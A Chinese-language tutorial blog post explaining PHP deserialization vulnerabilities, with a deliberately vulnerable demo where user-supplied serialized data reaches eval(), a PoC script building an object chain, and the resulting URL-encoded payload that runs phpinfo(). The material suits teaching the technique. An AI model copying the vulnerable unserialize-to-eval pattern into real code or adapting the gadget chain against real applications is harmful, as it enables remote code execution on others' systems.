zoukankan      html  css  js  c++  java
  • PHP反序列化漏洞

    反序列化漏洞利用的条件

    1、程序中存在序列化字符串的输入点.
    2、程序中存在可以利用的魔术方法.

    反序列化漏洞的一个简单DEMO

    <?php 
        class example
        {
            public $handle;
            function __destruct()
            {
                $this->shutdown();
            }
            public function shutdown()
            {
                $this->handle->close();
            }
        }
        class process
        {
            public $pid;
            function close()
            {
                eval($this->pid);
            }
        }
    
        if(isset($_GET['data']))
        {
            $user_data = unserialize(urldecode($_GET['data']));
        }?>

    可见,process类当中有一个close方法里面有一个eval函数,但是pid不是我们所能控制的。但是在example当中有调用close方法。

    可以在example中调用process类,然后在process当中对pid进行赋值然后序列化进而执行eval函数达到命令执行的效果

    最终GET POC代码如下。

     1 <?php 
     2 class example
     3 {
     4     public $handle;
     5     function __construct()
     6     {
     7         $this->handle = new process();
     8     }
     9 }
    10 class process
    11 {
    12     public $pid;
    13     function __construct()
    14     {
    15         $this->pid=("phpinfo();");
    16     }
    17 }
    18 $data = new example();
    19 echo urlencode(serialize($data))
    20  ?>

    生成后的payload为(#一定要编码,不编码不行):

    O%3A7%3A%22example%22%3A1%3A%7Bs%3A6%3A%22handle%22%3BO%3A7%3A%22process%22%3A1%3A%7Bs%3A3%3A%22pid%22%3Bs%3A10%3A%22phpinfo%28%29%3B%22%3B%7D%7D

    总结:

    OOP不太熟悉还是很容易在一些细节上面写错。

    比如

    1.在POC构造的那个代码的第7行,是需要new的

    2.在引用一个方法的时候是没有$符号的。即$this->pid

    3.属性是没有括号的

  • 相关阅读:
    数据库(四)—— Redis数据库
    数据库——MySQL乐观锁与悲观锁
    Flask框架 (四)—— 请求上下文源码分析、g对象、第三方插件(flask_session、flask_script、wtforms)、信号
    centos7 php7 安装composer时Failed to decode zlib stream解决办法
    PHP 迭代器模式
    PHP 装饰器模式
    PHP 原型模式
    PHP 观察者模式
    PHP 策略模式
    PHP 适配器模式
  • 原文地址:https://www.cnblogs.com/nul1/p/8647124.html
Copyright © 2011-2022 走看看